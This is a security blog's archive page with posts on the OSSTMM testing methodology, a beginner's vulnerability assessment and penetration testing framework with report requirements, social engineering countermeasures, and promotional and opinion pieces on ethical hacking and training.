Falgun Rathod

OSSTMM (Open Source Security Testing Methodology Manual)

2016-02-18T21:36:00.000-08:00

OSSTMM (Open Source Security Testing Methodology Manual)

What is OSSTMM?

The abbreviation of OSSTMM is Open Source Security Testing Methodology Manual. It was developed by the Pete Herzog and distributed by the Institute for Security and Open Methodologies (ISECOM). It is a document for improving the quality of enterprise security as well as the methodology and strategy of testers. It includes various information gathering templates.

It is one of the International Standard for Internet Security and Testing. It is an open source, standardized methodology where anyone adds, cut, open anything from anywhere on the Internet and also make complaint about the vulnerabilities. This type of methodology depends on the scientific methods where operational and financially security measures. Basically, OSSTMM is a set of rules and regulations for the Penetration Testing, Ethical Hacking, and Information Security Analysis which involves tools for testing. It also includes automated vulnerability testing tools. Here, standard sets in testing methodology either manually or automatic where operational security requirements conformed. The result of testing creates the discipline which it acts as a central point in the whole security tests which regards the size of the network, type of the system or the Internet applications. It is used in the various sectors such as Financial Institutions, Navy and Air force, Security Market’s Players (Vendors, Freelancers, Consultation companies, etc.), Telecommunication and Financial Operators and many more.

Domains Covers in OSSTMM:

· Information Security: The security is the major term in the computer system and network. Many computer systems have secured with access limitations. It is very important how to protect the important assets (system, network, applications, data, etc.) from the attackers. This is the major area in the field of OSSTMM because this deals with important keys.

· Process Security: The process security deals under the operation control in which if any threats exists or in running process, then it protects the assets rather than influencing from the third-party. It includes Non-repudiation, Confidentiality, Integrity, Privacy and Alarm.

· Internet Technology Security: It is used for protecting the Smart Meters. It includes Network Surveying, Port Scanning, Services Identification, System Identification, Vulnerability Research and Verification, Internet Application Testing, Router Testing, Trusted Systems Testing, Firewall Testing, Intrusion Detection System Testing, Containment Measures Testing, Password Cracking, Denial of Service Testing, Security Policy Review.

· Communication Security: It emphasis on the communication infrastructure which includes Posture Review, PBX Review, Voicemail Testing, Fax Testing, Modern Survey, Remote Access Control Testing, VoIP Testing, X.25 Packet Switched Networks Testing.

· Wireless Security: It describes what wireless technologies used by the organization. It involves Electromagnetic Radiation Testing, 802.11 Wireless Network Testing, Bluetooth Testing, Wireless Input device Testing, Wireless Handheld Testing, Wireless Surveillance Device testing, Cordless Communication Testing, Wireless transaction Device testing, RFID Testing, Infrared Testing, Privacy Review. It also regulates rules and guidelines. For example, if company adopts Bluetooth Technology, then first thing requires that organization have Wireless Technology or not.

· Physical Security: It determines the access controls of target. It monitors the controls in place of compromising the attacks. It also determines how to defeat them.

OSSTMM Test Phases:

There are 7 test phases which are as follows:

1. Discovery: It analyzes and acquires the existing system testimonials.

2. Enumeration Verification: It tests the Operating System, configuration and services with the system document.

3. Vulnerability Research and Verification: It done and analyzes by the Penetration testing.

4. Integrating Testing: Check the Integrity of all the results.

5. Security Mapping: It maps the measured security of the results of systems and services.

6. Risk Assessment Value: If any loopholes found, then classifies the risk and measures the risk assessment value (RAV).

7. Reporting: Maps the results and recommend it.

Point Process of OSSTMM:

There are three types of interactions in the OSSTMM: Porosity, Four Point Process (FPP), and Echo Process.

Porosity means you need to know how to protect yourself or attack on the target, while FPP means need to know in deep by monitoring and watching the activities. Echo Process is a very basic form of analysis in which discovering and learning things by interacting directly to it. It requires access interaction on the target level and monitoring the reactions. It is a cause-and –effect type of verification.

The point process performs in four ways, that’s why it is known as Four Point Process (FPP). Induction: Determine the target from its environment, how it behaves in that environment, if the target is not influenced by its environment, and then what happen. Inquest: What signals does the target give off? Investigate the tracks or indicators of the signals because in general the system or process leaves the signature of interactions with its environment. Interaction: What happen when poking takes place? It calls for echo tests include expected and unexpected interactions with the target to trigger responses. Intervention: How far it bends before it breaks? The target needs interrupting resources to understand the extremes under which it can continue operating.

The classes are the official label which is used in the security industry, government and military fields. Basically, classes define the area of study, investigation and operation. The Channels are the way to interact with the assets. There are three types of classes which is useful for hackers to attack on it i.e. Physical Security (PHYSSEC), Spectrum Security (SPECSEC) and Communication Security (COMSEC), it further divided into five channels. PHYSSEC contains two channels: Human and Physical Channel, SPECSEC contains one channel: Wireless Channel and SPECSEC contain two channels i.e. Telecommunications and Data Network Channels.

OSSTMM Compliance:

The compliance is not to specify the operational security requirement, also specifies the use of OSSTMM testing time on the periodic basis to fulfill the control requirement drafted as a result trust assessment which scopes the minimum number of control requirement to achieve the complaint, not requires secure state. The documentation includes business processes, narratives, trust assessment, risk assessments, signed off design tests, operational audits, attestations, etc. With the help of OSSTMM, the result is understandable and verifies the level of quality. It is designed to allow the analyst to view and understand the safety and security. By this type of Methodologies, any compliance has the production of the evidence of governance within the business process of security.

Official Link:

http://www.isecom.org/

White Hat Hacking - Whitebook for Ethical Hackers and Security Professionals

2014-06-29T22:42:00.000-07:00

White Hat Hacking Tutorial - Be a Security Professional Learn from anywhere anytime,

Description

Whitebook is a growing community of White Hat Hackers or so Called the Security Professionals, We Begin with tutorials and Techniques to become a Security Professional and Later Will Grow as a Community where with jobs updates, Project updates, Support and every thing related to Cyber Security to our user.

You can become a whitehat Hacker or Say a Security Professional by learning from our WhiteBook Tutorials, It Contains following Topics:

1) Hacking Basics - Introduction to Hacking, Basic Concept of IT, Concept of Security, Introduction to Networking, Foot Printing.

2) Common Hacking Tuts - Google Hacking Database, windows Hacking and Security, Linux Hacking and Security, Virus, Worms and Trojans, DOS and DDOS, Sniffers, Network Hacking, Social Engineering, Physical Security, Cryptography and Stenography, WI-FI hacking, FireWall and IDS/IPS.

3) Vulnerabilities - Vulnerability Scanning, Vulnerability Research, Web Penetration Testing, Network Penetration Testing, Server Penetration Testing and More Coming Soon,

4) Security Standards ( Beta) - Security Standards and Principles, OWSAP Top 10 Vulnerability, OSSTMM, SANS TOP 25 Vulnerabilities. ( Note: at Present We are Just Giving an Overview in this module, We will be Soon Updating the Details)

5) Exploits And Exploitation - Assembly Language, Exploit Writing, Buffer Overflow, Reverse Engineering, Exploit Frameworks

6) BackTrack - Introduction to BackTrack, BackTrack Methodology, Information Gathering, Vulnerability Assessment, Exploitation Using BT.

7) Advance Tools - Acunetix, IBM App Scanner, Net Sparker, Vega, Burp Suite, W3AF, OWASP ZED Proxy, Aarachini, NMAP, Maltego, Dark Comet, WireShark.

8) Cyber Forensics - Hacking Incidents, Doing Forensics, Data Recovery and Analysis, Understanding Anti Forensics, Cyber Crime Investigations ( Note: at Present We are Just Giving an Overview in this Module, We will be Soon Updating the Details)

9) Security Management - Information Security Management, Policies and Documentations

10) Tips and Tricks - Facebook hacking, Tips and Tricks, Mobile Tips and Tricks, List Sites You should not Scan.

Security is a vast field and have several verticals, if you need and other tutorials or have suggestions, We would love to here it. We will Grow with the Best Tutorials and Content,

We are also Looking for Enthusiast Professionals, who can Join part time to Contribute to this Growing Community.

Disclaimers: The Information Provided on this Application is to be used for educational purpose only. The Website/Application Creator is in no way responsible for misuse of the information provided. All the Information in this Whitebook Application is meant to help the reader develop a Professional Security Attitude in order to prevent the attacks Discussed. In no way should you use the information to cause any kind of damage directly or indirectly. You Implement the information given at your own Risk.

Download it from here : https://play.google.com/store/apps/details?id=com.whitebookforhacker.app

Smart Grid Security by Falgun Rathod - ClubHack 2012

2014-04-21T04:41:00.001-07:00

Understanding Ethical Hacking, Vulnerability Assessment and Penetration Testing Framework from Falgun Rathod

2014-04-11T04:17:00.000-07:00

Vulnerability Assessment and Penetration Testing Framework from Falgun Rathod

Yes I know what you guys might be thinking as this paper is already published before in this blog but this slideshare upload got 85+ Facebooked Share and was Featured on Homepage of Slideshare as this was small attachment.

Soon will be publishing some technical stuff.
Cheers.

Buffer overflow for beginners and Exploit Research

2014-04-06T06:05:00.001-07:00

Exploit Research and Development Megaprimer: Buffer overflow for beginners from Ajin Abraham

CISO and Superhumans by Dinesh Bareja

2014-02-25T21:31:00.000-08:00

Best Presentation I have come across :) True Fact : Incident Response Requires Superhumans from Dinesh O Bareja

Vulnerability Assessment and Penetration Testing for Beginners

2014-02-24T03:01:00.002-08:00

What If you are thinking that I am not connected to Internet Is my System Secure ? I am using IDPS and Firewall while connected to Internet.

Then You are Wrong Still amazed How let’s see still Hackers can Hack into Your System/Server/Network Lets Read this Whitepaper to know more about Penetration Testing How You can Secure Your Network/Server/System or How Any Intruder can Hack into your System to steal your confidential or privates files.

Vulnerability Assessment, Penetration testing or Ethical Hacking?

- What's the difference?

In general, the above terms are used interchangeably within the industry, although it is always a good idea to clarify the supplier's perception of the term used to ensure you are comparing like for like offerings. Although they are generally interchangeable, there are semantically some differences between the vulnerability assessment and penetration testing/ethical hacking: Vulnerability assessments tend to be performed using automated scanning tools. These tools when used in isolation however have a number of limitations, not least of which is the inability to exploit the potential vulnerability to confirm its presence and demonstrate the real-world risk associated with its exploitation.

Penetration testing and ethical hacking will normally provide a number of important additions: Firstly, a range of tools and technologies will be used. Secondly, potential vulnerabilities will normally be exploited to confirm their existence, and simulate a real attacker more closely. Not all issues can be exploited (for example, some require very specific scenarios or actions by third parties to be exploitable) but the vulnerabilities existence will be proved/disproved as far as reasonably possible.

What is Penetration Testing?

Penetration testing is the process of attempting to gain access to resources without knowledge of user-names,passwords and other normal means of access.

The penetration tester will have permission from the owner of the computing resources that are being tested and will be responsible to provide a report. The goal of a penetration test is to increase the security of the computing resources being tested.

In many cases, a penetration tester will be given user-level access and in those cases, the goal would be to elevate the status of the account or user other means to gain access to additional information that a user of that level should not have access to.

It’s important to understand that it is very unlikely that a pen-tester will find all the security issues. As an example, if a penetration test was done yesterday, the organization may pass the test. However, today is Microsoft’s “patch Tuesday” and now there’s a brand new vulnerability in some Exchange mail servers that were previously considered secure, and next month it will be something else. Even ZERO Day Attacks can create a Headache after completing Penetration Test as You have to Maintaining secure network requires constant vigilance.

Penetration - Testing vs. Vulnerability Assessment

The main focus of this paper is penetration testing but there is often some confusion between penetration testing and vulnerability assessment. The two terms are related but penetration testing has more of an emphasis on gaining as much access as possible while vulnerability Assessment places the emphasis on identifying areas that are vulnerable to a computer attack. An automated vulnerability scanner will often identify possible vulnerabilities based on service banners or other network responses that are not in fact what they seem.

A penetration test is like any other test in the sense that it is a sampling of all possible systems and configurations. Unless the contractor is hired to test only a single system, they will be unable to identify and penetrate all possible systems using all possible vulnerabilities. As such, any Penetration Test is a sampling of the environment. Furthermore, most testers will go after the easiest targets first then he can deal with Hard System Configuration for better Conclusion to find vulnerability and penetrate into it deeper.

How Vulnerabilities Are Identified

Vulnerabilities need to be identified by both the penetration tester and the vulnerability scanner. The steps are similar for the security tester and an unauthorized attacker. The attacker may choose to proceed more slowly to avoid detection, but some penetration testers will also start slowly so that the target company can learn where their detection threshold is and make improvements.

Once the tester has an idea what software might be running on the target computers, that information needs to be verified. The tester really does not know what is running but he may have a pretty good idea. The information that the tester has can be combined and then compared with known vulnerabilities, and then those vulnerabilities can be tested to see if the results support or contradict the prior information.

In a stealthy penetration test, these first steps may be repeated for some time before the tester decides to launch a specific attack. In the case of a strict vulnerability assessment, the attack may never be launched so the owners of the target computer would never really know if this was an exploitable vulnerability or not.

Why We need Penetration Testing

There are a variety of reasons for performing a penetration test. One of the main reasons is to find vulnerabilities and fix them before an attacker does. Sometimes, the IT department is aware of reported vulnerabilities but they need an outside expert to officially report them so that management will approve the resources necessary to fix them. Testing a new system before it goes on-line is also a good idea. Another reason for a penetration test is to give the IT department at the target company a chance to respond to an attack. ISO 27000 , The Payment Card Industry (PCI) Data Security Standard, and other recent security recommendations and regulations, require external security testing.

Over the past few years We have seen Hackers performing Denial of Service attacks on very critical Infrastructures like GOVT Operations, Nuclear Operations, Banks and Corporate. Even Hacking into Different Websites and Server using vulnerabilities in Software and web based application. As some of the Server and Websites stores very Confidential like Passwords, Credit Card/Debit Card Information, Information the following Industries given below should conduct PT on regular basis.

Ø Banking, Finance, Insurance

Ø Online retail & Ecommerce

Ø Manufacturing

Ø Telecommunications

Ø Research Development

Ø Government

Ø Television Media

Ø Education Sectors

Most of websites have vulnerabilities that could lead to the theft of sensitive corporate data such as credit card information and customer lists. Hackers are concentrating their efforts on web-based applications - shopping carts, forms, login pages, dynamic content, etc. Accessible 24/7 from anywhere in the world, insecure web applications provide easy access to backend corporate databases. If web applications are not secure, then your entire database of sensitive information is at serious risk.

Find Holes Now Before Somebody Else Does

At any given time, attackers are employing any number of automated tools and network attacks looking for ways to penetrate systems. Only a handful of those people will have access to Zero - day exploits, most will be using well known (and hence preventable) attacks and exploits.

In a sense, think of a Penetration Test as an annual medical physical. Even if you believe you are healthy, your physician will run a series of tests (some old and some new) to detect dangers that have not yet developed symptoms.

Penetration Testing Framework

This Famework draws your attention to the main phases of the test that should be perfomed while Vulnerability Assessment and Penetration Testing for the beginners, Some security testers believe that a security test is simply a “point in time” view of a defensive posture and present the output from their tests as a “security snapshot”. They call it a snapshot because at that time the known vulnerabilities, the known weaknesses, and the known configurations have not changed.

Many variables affect the outcome of a test, including the personal style and bias of a tester. Precisely because of all these variables, it is important to define the right way to test based on best practices and a worldwide consensus. If you can reduce the amount of bias in testing, you will reduce many false assumptions and you will avoid mediocre results. You’ll have the correct balanced judgment of risk, value, and the business justification of the target being tested. By limiting and guiding our biases, it makes good security testers great and provides novices with the proper methodology to conduct the right tests in the right areas.

Following are the main phases that should be covered:

Vulnerability Assessment and Penetration Testing (VAPT) should be proceed into following stages:

1.1 ) Acquisition and Information gathering on Network/System along with detailed description of important issues that needs to be clarified in a contract before carrying out VAPT.

1.2) Risk analysis for identifying and assessing risks associated with VAPT.

1.2.3) Following testing activities need to be completed in VAPT:

1) Information Gathering Scanning:

a) Intelligence gathering and information assessment are the foundations of a good penetration test.

b) The more informed the tester is about the environment, the better the results of the test will be.

In this section, a number of items should be written up to show the CLIENT the extent of public and private information available through the execution of the Intelligence gathering phase of PTES. At a minimum, the results identified will be presented in 4 basic categories:

I. Passive Intelligence:

Intelligence gathered from indirect analysis such as DNS,Googledorking for IP/infrastructure related information. This section will focus on the techniques used to profile the technology in the CLIENT environment WITHOUT sending any traffic directly to the assets.

II. Active Intelligence:

This section will show the methods and results of tasks such as infrastructure mapping, port scanning, and architecture assessment and other foot printing activities. This section will focus on the techniques used to profile the technology in the CLIENT environment by sending traffic DIRECTLY to the assets.

III. Corporate Intelligence:

Information about the structure of the organization, business units, market share, vertical, and other corporate functions should be mapped to both business process and the previously identified physical assets being tested.

IV. Personnel Intelligence:

Any and all information found during the intelligence collection phase which maps users to the CLIENT organization. This section should show the techniques used to harvest intelligence such as public/private employee depots, mail repositories, org charts and other items leading to the connection of employee/company.

Ø Network Scanning

Ø Port Scanning

Ø System Identification and Trusted System Scanning\

Ø Service Identification Scanning

Ø Vulnerability Scanning

Ø Malware Scanning

Ø Spoofing

Ø Scenario Analysis

2) Vulnerability Assessment:

Vulnerability assessment is the act of identifying the POTENTIAL vulnerabilities which exist in a TEST and the threat classification of each threat. In this section, a definition of the methods used to identify the vulnerability as well as the evidence/classification of the vulnerability should be present. In addition this section will include:

a) Network Architecture Review

b) Server Assessment (OS, Security Configuration etc.)

c) Security Devices Assessment (IOS, Security Configuration etc.)

d) Network Devices Assessment (Security Configuration etc.)

e) Website Assessment (Security Configuration, Security Certificates, Services etc.)

f) Vulnerability Research & Verification

3) Penetration Testing:

a) Application Security Testing and Code Review

b) OS Fingerprinting

c) Service Fingerprinting

d) Access Control Mapping

e) Denial of Service (DoS)

f) Distributed DoS

g) Authorization Testing

h) Lockout Testing

i) I) Password Cracking

j) j)Cookie Security

k) Functionality Testing (Input validation of login fields, Transaction Testing etc.)

l) L) Containment Measures Testing

m) War Dailing

4) Website/Web Application Assessment

Check various web attacks and web applications for web attacks. The various checks/attacks/vulnerabilities should cover the following or any type of attacks, which are vulnerable to the website/web application.

a) Vulnerabilities to SQL injections

b) CRLF injections

c) Directory Traversal

d) Authentication hacking/attacks

e) Password strength on authentication pages

f) Scan java-script for security vulnerabilities

g) File inclusion attacks

h) Exploitable hacking vulnerable

i) I)Web server information security

j) J) PHP remote scripts vulnerability

K) HTTP injection

l) L)Phishing a website

m) Buffer overflows, Invalid inputs, Insure storages etc

n) Any other attacks, which are vulnerability to the website and web applications.

Web assessment should be done by using industry standards and also as per the Open Web Application Security Project (OWASP) methodology to identify the security vulnerabilities including top web application vulnerabilities viz. Cross site scripting (XSS), Injection Flaws, Malicious File Execution, Insecure Direct Object Reference, Cross Site Request Forgery (CSRF), Information Leakage and Improper Error Handling, Broken Authentication and Session Management, Insecure Cryptographic Storage, Insecure Communications, Failure to Restrict URL Access etc. and also to identify remedial solutions and recommendations for making the web application secure.

1.2.4) Post Testing Actions and Reports: Summary comparisons of Network Testing Techniques used for VAPT along with Reports and Recommendations along with solution as per the industry standard and best practices.

1.3) Approach to be followed in Penetration Testing is given here below:

a) Information base (Grey Box Testing)

b) Aggressiveness (Passive Scanning)

c) Scope (Focused)

d) Approach (Overt)

e) Technique (Network-based)

f) Starting Point (from the outside and the inside)

1.4) Method of VAPT to be followed:

The vendor has to undertake the VAPT in a phased manner as described below:

PHASE 1 – Conduct of VAPT as per Scope, Evaluation & Submission of Preliminary Reports of Finding and Discussion on the Findings.

PHASE 2 – Submission of Reports

1.5) VAPT Core Team

1.5.1) The Core team assigned for VAPT activity should have minimum 2 professionals in each of the following category with valid certification mentioned thereon.

a) Information Security (CISA/CISM/CISSP)

b) Network (CCNA/CCNP or equivalent)

c) Operating Systems (Certification from Microsoft/Linux/Solaris/AIX)

d) Databases (Oracle/MySQL/MS SQL/Sybase/etc)

e) Ethical Hacking (CEH)

Who have associated/conducted at least one VAPT for Clients IT Infrastructure and should be on permanent roll of the Organization.

1.6) Completion of VAPT activity

1.6.1) The Vulnerability Assessment should be carried out at on-site for the devices/servers etc. and Penetration Testing should be carried out from the Our site. The VAPT may also be carried out simultaneously in all the locations after obtaining written permission from the Client.

1.6.2) The Company will complete the VAPT activity and submit the reports within two months from the date of acceptance of Purchase Order.

1.7) Deliverables

The deliverables for VAPT activity are as follows:

1.7.1) Execution of Vulnerability Assessment and Penetration Testing for the identified network devices, security devices, servers, applications, websites etc. as per the scope mentioned in Approach & analysis of the findings and guidance for resolution of the same. (Type – service & documentation).

1.7.2) VAPT Report (Type – Documentation)

The VAPT report should contain the followings:

1) Identification of auditee (Address & Contact information)

2) Dates & Locations of VAPT

3) Terms of reference

4) Standards followed

5) Summary of audit findings including identification tests, tools used and results of test performed (like vulnerability assessment, penetration testing, application security assessment, website assessment,etc.)

a) Tools used and methodology employed

b) Positive security aspects identified

c) List of vulnerabilities identified

d) Description of vulnerabilities

e) Risk rating or severity of vulnerability

f) Category of risk: Very High/High/Medium/Low

g) Test cases used for assessing the vulnerabilities

h) Illustration of test cases

i) Applicable screenshots

6) Analysis of vulnerabilities & issues of concern

7) Recommendations for corrective action

8) Personnel involved in the audit

The Company conducting Test may further provide any other required information as per the approach adopted by them and which they feel is relevant to the audit process. All the gaps, deficiencies, vulnerabilities observed shall be thoroughly discussed with respective Client officials before finalization of the report.

1.7.3) The VAPT report should comprise the following sub reports:

a) VAPT Report – Executive Summary: The vendor should submit a report to summarize the Scope, Approach, Findings, and recommendations, in a manner suitable for senior management.

b) VAPT Report – Core Findings along with Risk Analysis: The vendor should submit a report bringing out the core findings of the VAPT conducted for network devices, security devices, servers and websites.

c) VAPT Report – Detailed Findings/Checklists: The detailed findings of the VAPT would be brought out in this report which will cover in detail all aspects viz. Identification of vulnerabilities/ threats in the systems (specific to equipment’s/resources – indicating the name and IP address of the equipment with office and department name), Identification of threat sources, Identification of risk, Identification of inherent weakness, Servers/Resources affected with IP address etc. Report should classify the observations into Critical/Non Critical category and assess the category of Risk Implication as Very High/High/Medium/Low risk based on the impact. The various checklist formats, designed and used for conducting the VAPT activity as per the scope, should also be included in the report separately for servers (different for different OS), Application, Network equipments, Security equipmentsetc, so that they provide minimum domain wise baseline security standard/practices to achieve a reasonably secure IT environment for technologies deployed by the Client. The reports should be substantiated with the help of snap shots/evidences/documents etc. from where the observations were made.

d) VAPT Report – In depth analysis of findings/ Corrective Measures & Recommendations along with Risk Analysis: The findings of the entire VAPT process should be critically analyzed and controls should be suggested as corrective/preventive measures for strengthening/safeguarding the IT assets of the Client against existing and future threats in the short/long term. Report should contain suggestions/recommendations for improvement in the systems wherever required. If recommendations for Risk Mitigation/Removal could not be implemented as suggested, alternative solutions to be provided. Also, if the formal procedures are not in place for any activity, evaluate the process & the associated risks and give recommendations for improvement as per the best practices.

e) VAPT Report – Suggestion for Industry Best Practices: The vendor has to provide hardening parameters for OS, websites, web-based applications, databases, servers, network and security devices as per the industry best practices standard.

1.7.4)Documentation Format:

a) All documents will be handed over in three copies, signed, legible, neatly and robustly bound on A4 size, good quality paper. The place of submission of reports shall be informed to select.

b) Soft copies of all the documents properly encrypted in MS Word/MS Excel/PDF format also to be submitted in CDs/DVDs along with the hard copies.

c) All documents shall be in plain English.

Security Issues in Cloud Computing

2014-01-08T02:50:00.000-08:00

Security in Cloud Computing from Falgun Rathod

India InfoSec Gallery..: In India - ATMs to be shut down at night

2013-12-28T01:04:00.001-08:00

India InfoSec Gallery..: In India - ATMs to be shut down at night: Incredible India! Incredible Indian people who run this country - they just morph into nincompoops when thinking about the country's...

Countermeasures against Social Engineering

2013-11-30T01:10:00.000-08:00

Countermeasures against Social Engineering

In my Article published in PenTest Magazine I have discussed the Social Engineering as most Dangerous Weapon used by Hackers. In this Blog Post will Learn the Countermeasures against Social Engineering.

Social Engineering : According to Wiki “Social Engineering is the act of manipulating people into performing actions or divulging confidential information, rather than by breaking in or using technical cracking techniques.”Social Engineering is not a new thing at all it’s the art of lie and to get confidential information to access/Hacked into System.

Social Engineering attacks are one of the hardest threats to defend against because they invole the human element.

à Be suspicious of unsolicited phone calls, visits, or email messages from individuals asking about employees or other internal information. If an unknown individual claims to be from a legitimate organization, try to verify his or her identity directly with the company.

àDo not provide personal information or information about your organization, including its structure or networks, unless you are certain of a person's authority to have the information.

àDo not reveal personal or financial information in email, and do not respond to email solicitations for this information. This includes following links sent in email.

àDon't send sensitive information over the Internet before checking a website's security (see Protecting Your Privacy for more information).

à Pay attention to the URL of a website. Malicious websites may look identical to a legitimate site, but the URL may use a variation in spelling or a different domain (e.g., .com vs. .net).

àIf you are unsure whether an email request is legitimate, try to verify it by contacting the company directly. Do not use contact information provided on a website connected to the request; instead, check previous statements for contact information. Information about known phishing attacks is also available online from groups such as the Anti-Phishing Working Group (http://www.antiphishing.org).

Other Important Points are :

IT Security and other Units

Physical and IT security personnel often have an uneasy and distant relationship, even in institutions where they share a common node of the management tree.

• IT personnel should at least understand the need for physical controls and have some involvement in the physical securing of IT equipment, especially when sophisticated technical controls such as handheld authentication devices are employed.

• Non-IT security people need at least a basic understanding of how IT hardware hangs together in order to appreciate where the weakness are: not only in terms of sabotage, theft and espionage, but even in terms of accidental damage. In many cases, they’ll be the first line of defence against breaches of the physical perimeter.

General Education

General users should not be expected to become security experts. Indeed, it’s unrealistic to expect them to be particularly IT-literate beyond the requirements of their work. This makes the quality of the educational and other resources available to them particularly important, not only in terms of accuracy and pertinence, but also accessibility. Training and first-line documentation should be as brief and clear as possible, but more detailed resources should be available and known to be available. In particular, such documentation should make as few assumptions as possible about the technical knowledge of the reader: unfortunately, this is not always consistent with the equally pressing requirement that it should be as short as possible.

Risk Analysis

I hope I’ve convinced you that social engineering is a significant threat. However, it’s seriously under-documented, and committing major resources to deal with a threat many people have never heard of or considered is not always easy. This paper gives some background, but useful statistics are scarce: I can’t point you to a survey which tells you how much a year social engineering costs the ‘average’ organization. Statistics on security breaches in general are easier to come by, but they don’t tell you how much use individual intruders made of social engineering, so you have to approach it from the other end: gathering information on how vulnerable you are to this threat, and what measures are available to counter it.

Security Policies and Insurance Policies

Security is a cost centre. Like fire insurance, it’s a large expense set against the risk of an attack which may never come, though with social engineering it’s probably truer to say that such attacks are frequent, but not necessarily recognised as such. Security policies aren’t popular: they take time to put together properly and are of no practical use without a realistic educational program to back them up.

Hope this will be helpful for your organisation and for you to stay away from Social Engineers.

Paper on Smart Grid Security | ClubHack 2012

2013-11-30T00:39:00.004-08:00

Smart Grid Security by Falgun Rathod from ClubHack

Smart grids is an added communication capabilities and intelligence to traditional grids,smart grids are enabled by Intelligent sensors and actuators, Extended data management system,Expanded two way communication between utility operation system facilities and customers,Network security ,National integration ,Self healing and adaptive –Improve distribution and transmission system operation,Allow customers freedom to purchase power based on dynamic pricing ,Improved quality of power-less wastage ,Integration of large variety of generation options.

We have seen the more complex and critical infrastructure the more vulnerable they are. From the Year of 1994 we have seen lots of incidents where SmartGrid were Hacked the latest and booming incident was Stuxnet Worm which targeted Nuclear Power System of Iran and Worldwide.There are different types of Attacks we will see. Security needed for Smart Grid.

I am sure This Paper can be useful to various Researchers and Students for their Projects.

Elites Hub - Unique Concept of Training

2013-03-05T02:06:00.000-08:00

Few Years ago when i was taking Training from Private Institution I came to know there are hundreds of Institutes available who are into providing Training on the Same Subjects in Market but no Institute or Company was providing the best guiding Training and Path oriented Training to students they are just making profit out of student's Fees, I met Aakash and Shridhar in November 2012 He told me about the Project Elites Hub on First Half I was easily convinced by him as this was the idea and project specially designed for the bright future of Students . Let me Introduced this Project here in detail.

We have the most Unique Training Programmes we also aim to provide in World Class Training at India as we believe in Research, Quality, Excellence, Imagination and developing self assessment in learning with Path Oriented Knowledge at Elites Hub. Our Course Includes Industry and Academic Tasks and Research Papers topics made and designed by Team of Experts.

We are Elites, the best in our categories, providing unique training programs under one roof, i.e. creating a Hub for Professionals. More specifically we breed professionalism into the bloods of our trainees and thus we say we are breeding professionalism.

We Provide Training on following

A) Web Development
B) Mobile Application
C) Cyber Security
D) Embedded/Robotics

Best Feature from our side :

A) Office Infrastructure
B) R&D Center
C) Accommodation
D) Meals
E) Weekend Outing

for more info and to get enroll to Study under Experts of Industries mail us now on contact@eliteshub.com or call on +919824435293 or login to - http://www.eliteshub.com

Welcome to the Era of Hacking, Total Exposure

2013-01-30T22:23:00.003-08:00

We are asleep in a world of dreams and nightmares, both of which we live daily, and both of which need to be controlled by someone, for that is the joy of those people who pull the strings. If just one of us opens our eyes and sees through the cloud of deception that is placed before everyone’s eyes, then the dream is dispelled and we acknowledge the farce and fallacies around us for what they are and we see the “sheeple” just following blindly along....so many things I have seen, just in the last few days...I just have to shake my head and turn a blind eye sometimes...nothing to do but write....

In a “cyber-war”, where is the enemy? The investigating agencies, be it FBI or the CBI, would just love to know that hackers have managed to positively identify which sites belong to those responsible for the terrorist attacks. Even if they could be identified, attacking them could destroy crucial evidence. Blindly attacking sites perceived to be vaguely Arabic is just plainstupid (or at least not a sign of a true genius). Attacking sites of people who aren't even remotely involved to vent emotions is even more moronic.

Hacking is morally and ethically wrong, an offense against various governments in the world. You can see how hacking has changed from 1878 to the present day and how quickly it is becoming more of a threat to everyday life. This is due to the fact that many homes and businesses use computers placing themselves at a risk of getting hacked.

At last, I would like to say “WAKE UP INTERNET WORLD!” Security systems all over the globe are threatened and very few seem to understand what is happening. If the CEO’s, Administrators, Presidents, and other heads of businesses and governments aren’t demanding that their IT departments are re-evaluating their security systems, then they deserve everything the hackers give them.

Hacking is here to stay. It will not go away quietly. It will not be eliminated. If a software engineer can write a security program believe me when I say a hacker can breach it.

It’s hard to imagine a world without computers, mobile devices or the Web. Cyber criminals and malicious hackers know just how important these tools are to not only work, but everything we do in our personal lives as well.

And because we rely on them so heavily, they are a prime target for attack. Viruses and other malware used to attack computers, networks and websites has changed over the years. Initially, these malicious programs were written to be mischievous. While destructive in nature, they did not have the same intent and outcome that malware does today. Nowadays, cyber criminals stand to make hundreds of thousands of dollars from malware. Unfortunately, there are just too many strains of malicious software out there for each one of them to make the news like they did in the old days.

As we watch many movies in which hackers just type a code and any computer get hacked, for many people, this is like a fake thing in real it happens.

The reasons why Hackers hack can be motivated by different agendas, such as malicious intent, for the challenge, or for profit. Whatever their motivations, they are a chronic pain the butt and website owners must be constantly on guard or run the risk of their sites going down, and experience loss to their business and/or business reputation.

To some, hacking is just an amusing game or challenge just to prove how smart you are. A trait that most hackers share is a strong sense of curiosity. They pride themselves on their ability create new programs. They brag to their social circle about any high-profile system that they've hacked. You can employ more security measures to protect your computer system e.g. Firewalls, anti-spyware, anti-viral etc., but these types of hackers just find it more of a challenge to defeat these security defenses and your computer crashing is just another trophy on their hacker shelf. Yes these types of hackers are annoying but the ones you really need to worry about are the hackers who hack for profit - your criminal hackers.

By now corporations and governments worldwide have taken notice that their security systems are at risk. Well, sort of. There is still an arrogance and attitude of “it couldn’t happen to me.” In the meantime, hackers all over the globe are getting into everything from email to top secret documents.

It doesn’t surprise a specialist in the Information Technology field that the heads of corporations like Sony and government agencies like NASA have been slow on the uptake. For too long these people have been driven by greed and have acted with total impunity.

No more. Because internet security has become the number one target of organized groups like Anonymous or 13 year old boys fooling around on the computer, every government, business, corporation, and personal computer is at risk.

And, the conundrum for everyone is that if you can write a security program, someone can hack it. One doesn’t think it will be out of business soon because some government agency or billion dollar corporation thinks it can outsmart the techies of the world. No, the real issue is how are institutions going to process information, secure and public that cannot be hacked into?

Technology advances in storage and computing models (e.g. cloud) have made it possible for modern companies to save massive amounts of data about their customers and partners. These increasingly large stores of information can provide insights that improve marketing efforts, help refine product offerings or even enable completely new service/product lines. However, the data also makes these organizations more attractive to attackers. Last year, the number of data breaches due to hacking exceeded lost and stolen laptops for the first time; hacking was responsible for 83 percent of the total exposed records in 2011. The impacts of a data breach can be significant – lost time, revenue and reputation. However, the stakes may be becoming even higher.

Every era has had a name and this era is going to be named the Era of Hacking. This is the era when the dishonest and corrupt are being caught with their pants down and their phony financial reports exposed. The hero’s of our world will no longer be gold star generals or presidents but faceless hackers with a weapon called the keyboard.

Source - http://krishnan1983.blogspot.in/2012/08/hacking-in-todays-world.html

Thanks to S. Krishnan Sir....

5 ways to secure your Facebook profile in a post

2012-10-07T07:47:00.006-07:00

5 ways to secure your Facebook profile in a post-Timeline world

